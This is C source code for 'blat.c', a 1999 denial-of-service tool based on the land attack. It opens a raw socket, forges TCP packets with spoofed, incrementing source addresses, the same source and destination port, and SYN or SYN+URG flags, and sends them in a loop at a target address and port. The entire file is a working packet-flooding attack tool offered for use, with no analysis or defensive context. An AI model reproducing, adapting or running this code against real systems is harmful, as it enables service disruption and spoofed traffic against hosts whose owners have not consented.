<![CDATA[/* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct sockaddr_in sin2;
struct hostent * hoste;
int sock,i;
int foobart=1000;
u_char foobarflags=TH_SYN;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"blat.c by Loneguard\n");
if(argc<4)
{
fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
bzero(&sin2,sizeof(struct sockaddr_in));
sin2.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length);
else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((hoste=gethostbyname(argv[2]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[2]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[3])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[3]);
return(-1);
}
if (argc>=5) foobart=atoi(argv[4]);
if (argc>=6) foobarflags=0x22;
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
for ( i=0;i<foobart;i++ ) {
sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1);
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin2.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
/* tcpheader->th_flags=TH_SYN&&TH_URG; */
tcpheader->th_flags=foobarflags;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_urp=htons(666);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
}
fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]);
close(sock);
return(0);
}]]>